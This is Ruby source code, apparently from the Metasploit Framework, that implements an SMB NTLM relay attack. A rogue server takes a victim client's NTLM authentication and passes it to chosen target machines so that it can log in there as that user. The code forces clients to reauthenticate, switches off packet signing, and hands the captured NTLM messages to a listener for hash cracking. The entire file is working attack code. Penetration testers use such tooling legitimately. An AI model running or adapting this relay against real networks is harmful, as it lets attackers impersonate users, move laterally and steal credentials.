module Msf::Exploit::Remote::SMB::Relay::NTLM
  # This class represents a single connected client to the server. It stores and processes connection specific related
  # information.
  # Has overridden methods than allow smb relay attacks.
  class ServerClient < ::RubySMB::Server::ServerClient

    # The NT Status that will cause a client to reattempt authentication
    FORCE_RETRY_SESSION_SETUP = ::WindowsError::NTStatus::STATUS_NETWORK_SESSION_EXPIRED

    # @param [Msf::Exploit::Remote::SMB::Relay::TargetList] relay_targets Relay targets
    # @param [Object] listener A listener that can receive on_relay_success/on_relay_failure events
    def initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:)
      super(server, dispatcher)

      @timeout = relay_timeout
      @relay_targets = relay_targets
      @relay_timeout = relay_timeout
      @listener = listener
    end

    def do_tree_connect_smb2(request, session)
      logger.print_status("Received request for #{session.metadata[:identity]}")

      # Attempt to select the next target to relay to
      session.metadata[:relay_target] = @relay_targets.next(session.metadata[:identity])
      # If there's no more targets to relay to, just tree connect to the currently running server instead
      if session.metadata[:relay_target].nil?
        logger.print_status("identity: #{session.metadata[:identity]} - All targets relayed to")
        return super(request, session)
      end

      logger.print_status("Relaying to next target #{display_target(session.metadata[:relay_target])}")
      relayed_connection = create_relay_smb_client(
        session.metadata[:relay_target],
        @relay_timeout
      )

      if relayed_connection.nil?
        @relay_targets.on_relay_end(session.metadata[:relay_target], identity: session.metadata[:identity], is_success: false)
        session.metadata[:relay_mode] = false
      else
        session.metadata[:relay_mode] = true
      end

      session.metadata[:relayed_connection] = relayed_connection
      session.state = :in_progress

      response = RubySMB::SMB2::Packet::TreeConnectResponse.new
      response.smb2_header.nt_status = FORCE_RETRY_SESSION_SETUP.value

      response
    end

    #
    # Handle an SMB version 1 message.
    #
    # @param [String] raw_request The bytes of the entire SMB request.
    # @param [RubySMB::SMB1::SMBHeader] header The request header.
    # @return [RubySMB::GenericPacket]
    def handle_smb1(raw_request, header)
      _port, ip_address = ::Socket::unpack_sockaddr_in(getpeername)
      logger.print_warning("Cannot relay request from #{ip_address}. The SMB1 #{::RubySMB::SMB1::Commands.name(header.command)} command is not supported - https://github.com/rapid7/metasploit-framework/issues/16261")
      raise NotImplementedError
    end

    def do_session_setup_smb2(request, session)
      # TODO: Add shared helper for grabbing session lookups
      session_id = request.smb2_header.session_id
      if session_id == 0
        session_id = rand(1..0xfffffffe)
        session = @session_table[session_id] = ::RubySMB::Server::Session.new(session_id)
      else
        session = @session_table[session_id]
        if session.nil?
          response = SMB2::Packet::ErrorPacket.new
          response.smb2_header.nt_status = WindowsError::NTStatus::STATUS_USER_SESSION_DELETED
          return response
        end
      end

      # Perform a normal setup flow with ruby_smb
      unless session&.metadata[:relay_mode]
        response = super
        session.metadata[:identity] = session.user_id

        # TODO: Remove guest flag
        return response
      end

      ntlmssp_result = self.relay_ntlmssp(session, request.buffer)
      return if ntlmssp_result.nil?

      response = ::RubySMB::SMB2::Packet::SessionSetupResponse.new
      response.smb2_header.credits = 1
      response.smb2_header.message_id = request.smb2_header.message_id
      response.smb2_header.session_id = session_id

      if ntlmssp_result.is_a?(::Net::NTLM::Message)
        response.smb2_header.nt_status = ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED.value
        response.buffer = ntlmssp_result.serialize

        if @dialect == '0x0311'
          update_preauth_hash(response)
        end

        return response
      else
        response.smb2_header.nt_status = ntlmssp_result.nt_status.value
        response.buffer = ntlmssp_result.buffer
      end

      update_preauth_hash(request) if @dialect == '0x0311'
      if ntlmssp_result.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
        response.smb2_header.credits = 32
        session.state = :valid
        session.user_id = ntlmssp_result.identity
        # TODO: This is invalid now with the relay logic in place
        session.key = @gss_authenticator.session_key
        session.signing_required = request.security_mode.signing_required == 1
      elsif ntlmssp_result.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED && @dialect == '0x0311'
        update_preauth_hash(response)
      end

      response
    end

    def relay_ntlmssp(session, incoming_security_buffer = nil)
      # TODO: Handle GSS correctly
      # gss_result = process_gss(incoming_security_buffer)
      # return gss_result if gss_result
      # TODO: Add support for a default NTLM provider in ruby_smb
      begin
        ntlm_message = Net::NTLM::Message.parse(incoming_security_buffer)
      rescue ArgumentError
        return
      end

      # NTLM negotiation request
      # Choose the next machine to relay to, and send the incoming security buffer to the relay target
      if ntlm_message.is_a?(::Net::NTLM::Message::Type1)
        relayed_connection = session.metadata[:relayed_connection]
        relay_target_type2_msg = relayed_connection.get_peer_server_challenge(incoming_security_buffer)
        return nil if relay_target_type2_msg.nil?

        # Store the incoming negotiation message, i.e. ntlm_type1
        session.metadata[:incoming_negotiate_message] = ntlm_message

        # Store the relay target's server challenge, as it is used later when creating the JTR hash
        session.metadata[:relay_target_server_challenge] = relay_target_type2_msg

        relay_target_type2_msg
      # NTLM challenge, which should never be received from a calling client
      elsif ntlm_message.is_a?(::Net::NTLM::Message::Type2)
        RubySMB::Gss::Provider::Result.new(nil, WindowsError::NTStatus::STATUS_LOGON_FAILURE)

      # NTLM challenge response
      elsif ntlm_message.is_a?(::Net::NTLM::Message::Type3)
        relayed_connection = session.metadata[:relayed_connection]

        resp = relayed_connection.send_auth_attempt(incoming_security_buffer)

        is_success = resp.smb2_header.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
        @relay_targets.on_relay_end(relayed_connection.target, identity: session.metadata[:identity], is_success: is_success)

        if is_success
          logger.print_good("identity: #{session.metadata[:identity]} - Successfully authenticated against relay target #{display_target(relayed_connection.target)}")
          session.metadata[:incoming_challenge_response] = ntlm_message
          user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
          domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
          session.metadata[:identity] = "#{domain}\\#{user}"

          @listener.on_ntlm_type3(
            address: relayed_connection.target.ip,
            ntlm_type1: session.metadata[:incoming_negotiate_message],
            ntlm_type2: session.metadata[:relay_target_server_challenge],
            ntlm_type3: session.metadata[:incoming_challenge_response]
          )
          @listener.on_relay_success(relay_connection: relayed_connection)
        else
          @listener.on_relay_failure(relay_connection: relayed_connection)
          relayed_connection.disconnect!

          if resp.smb2_header.nt_status == WindowsError::NTStatus::STATUS_LOGON_FAILURE
            logger.print_warning("identity: #{session.metadata[:identity]} - Relay failed due to client authentication details not matching any account on target server #{display_target(relayed_connection.target)}")
          else
            error_code = WindowsError::NTStatus.find_by_retval(resp.smb2_header.nt_status.value).first
            if error_code.nil?
              logger.print_warning("identity: #{session.metadata[:identity]} - Relay against target #{display_target(relayed_connection.target)} failed with unexpected error: #{resp.smb2_header.nt_status.value}")
            else
              logger.print_warning("identity: #{session.metadata[:identity]} - Relay against target #{display_target(relayed_connection.target)} failed with unexpected error: #{error_code.name}: #{error_code.description}")
            end
          end

          session.metadata.delete(:relay_mode)
        end

        RubySMB::Gss::Provider::Result.new(nil, resp.smb2_header.nt_status)

      # Should never occur
      else
        logger.error("Invalid ntlm request")
        RubySMB::Gss::Provider::Result.new(nil, WindowsError::NTStatus::STATUS_LOGON_FAILURE)
      end
    end

    def create_relay_smb_client(target, timeout)
      sock = Rex::Socket::Tcp.create(
        'PeerHost' => target.ip,
        'PeerPort' => target.port,
        'Timeout' => timeout,
        'Context' => {
          'Caller' => self
        }
      )

      dispatcher = RubySMB::Dispatcher::Socket.new(sock)
      client = SMBRelayTargetClient.new(
        dispatcher,
        provider: self,
        username: '',
        password: '',
        target: target,
        always_encrypt: false,
        logger: logger
      )

      client
    rescue ::Rex::ConnectionTimeout => e
      msg = "Timeout error retrieving server challenge from target #{display_target(target)}. Most likely caused by unresponsive target"
      elog(msg, error: e)
      logger.print_error msg
      nil
    rescue ::Exception => e
      msg = "Unable to create relay to #{display_target(target)}"
      elog(msg, error: e)
      logger.print_error msg
      nil
    end

    protected

    def display_target(target)
      "#{target.protocol}://#{target.ip}:#{target.port}"
    end
  end

  # The SMB Client for interacting with the relayed_target
  class SMBRelayTargetClient < ::RubySMB::Client
    # The supported server dialects. SMB 1 is not supported:
    # https://github.com/rapid7/metasploit-framework/issues/16261
    # Note there are similar supported dialects for both the server and the relay clients
    # {Msf::Exploit::Remote::SMB::Relay::NTLM::SUPPORTED_SERVER_DIALECTS} and
    # {Msf::Exploit::Remote::SMB::Relay::NTLM::SMBRelayTargetClient::SUPPORTED_CLIENT_DIALECTS}
    SUPPORTED_CLIENT_DIALECTS = [
      RubySMB::Client::SMB2_DIALECT_0202,
      RubySMB::Client::SMB2_DIALECT_0210,
      RubySMB::Client::SMB2_DIALECT_0300,
      RubySMB::Client::SMB2_DIALECT_0302,
    ]

    attr_reader :target

    def initialize(dispatcher, username:, password:, domain: nil, local_workstation: nil, always_encrypt: nil, ntlm_flags: nil, provider: nil, target: nil, logger: nil)
      super(dispatcher,
            smb1: false,
            smb2: true,
            smb3: true,
            username: username,
            password: password,
            domain: domain,
            local_workstation: local_workstation,
            always_encrypt: always_encrypt,
            ntlm_flags: ntlm_flags)

      @logger = logger
      @provider = provider
      @target = target
    end

    def add_smb3_to_negotiate_request(packet, _dialects = [])
      super(packet, SUPPORTED_CLIENT_DIALECTS)
    end

    def get_peer_server_challenge(client_type1_msg)
      @version = negotiate

      if @version == 'SMB1'
        # TODO: SMB1 not supported
        # neg_pkt = smb1_ntlmssp_negotiate_packet
        # neg_pkt.set_ntlm_type1_blob(victim_type1_msg.serialize)
        # resp = send_recv(neg_pkt)
        #
        # challenge_packet = smb1_ntlmssp_challenge_packet(resp)
        #
        # # Store the available OS information before going forward.
        # @peer_native_os = challenge_packet.data_block.native_os.to_s
        # @peer_native_lm = challenge_packet.data_block.native_lan_man.to_s
        #
        # @user_id = challenge_packet.smb_header.uid
        #
        # type2_message_encoded = smb1_type2_message(challenge_packet)
        #
        # type2_challenge = Net::NTLM::Message.decode64(type2_message_encoded)
        #
        # type2_challenge.challenge
      else
        # Same as the ::RubySMB::Client::Authentication smb2_authenticate method, with two differences
        #  - changes the type1_blob to match the blob of the type1 messages received from the client
        #  - returns the challenge messages received from the server

        server_type1_pkt = smb2_ntlmssp_negotiate_packet

        server_type1_pkt.set_security_buffer(client_type1_msg)
        # server_type1_pkt.buffer = client_type1_msg
        server_type1_pkt.security_mode.signing_enabled = 0
        server_type2_pkt_raw = send_recv(server_type1_pkt)
        server_type2_pkt = smb2_ntlmssp_challenge_packet(server_type2_pkt_raw)

        if @dialect == '0x0311'
          update_preauth_hash(server_type2_pkt)
        end

        @session_id = server_type2_pkt.smb2_header.session_id
        type2_ntlm_message = smb2_type2_message(server_type2_pkt)

        Net::NTLM::Message.decode64(type2_ntlm_message)
      end
    rescue ::Exception => e
      msg = "Unable to retrieve server challenge at #{display_target(target)}"
      elog(msg, error: e)
      logger.print_error msg
      nil
    end

    def send_auth_attempt(victim_type3_message)
      if @version == 'SMB1'
        # TODO: SMB1 not supported
      else
        packet = RubySMB::SMB2::Packet::SessionSetupRequest.new

        packet.smb2_header.session_id = @session_id
        packet.smb2_header.credits = 127

        packet.security_mode.signing_enabled = 0

        packet.set_security_buffer(victim_type3_message)
        # packet.buffer = victim_type3_message

        response = send_recv(packet)
        if @dialect == '0x0311'
          update_preauth_hash(packet)
        end

        # raw = smb2_ntlmssp_authenticate(victim_type3_message, @session_id)
        response = smb2_ntlmssp_final_packet(response)

        if @smb3 && !@session_encrypt_data && response.session_flags.encrypt_data == 1
          @session_encrypt_data = true
        end

        response
      end
    rescue ::Exception => e
      msg = "Unable to authenticate to target #{display_target(target)} via relay"
      elog(msg, error: e)
      logger.error msg
    end

    def normalize_type3_encoding(type3_msg)
      type3_msg.security_buffers.map!{ |_buffer_name, security_buffer| security_buffer.value.force_encoding("ASCII-8BIT") }
    end

    alias :connect :tree_connect

    protected

    attr_reader :logger

    def display_target(target)
      "#{target.protocol}://#{target.ip}:#{target.port}"
    end
  end
end
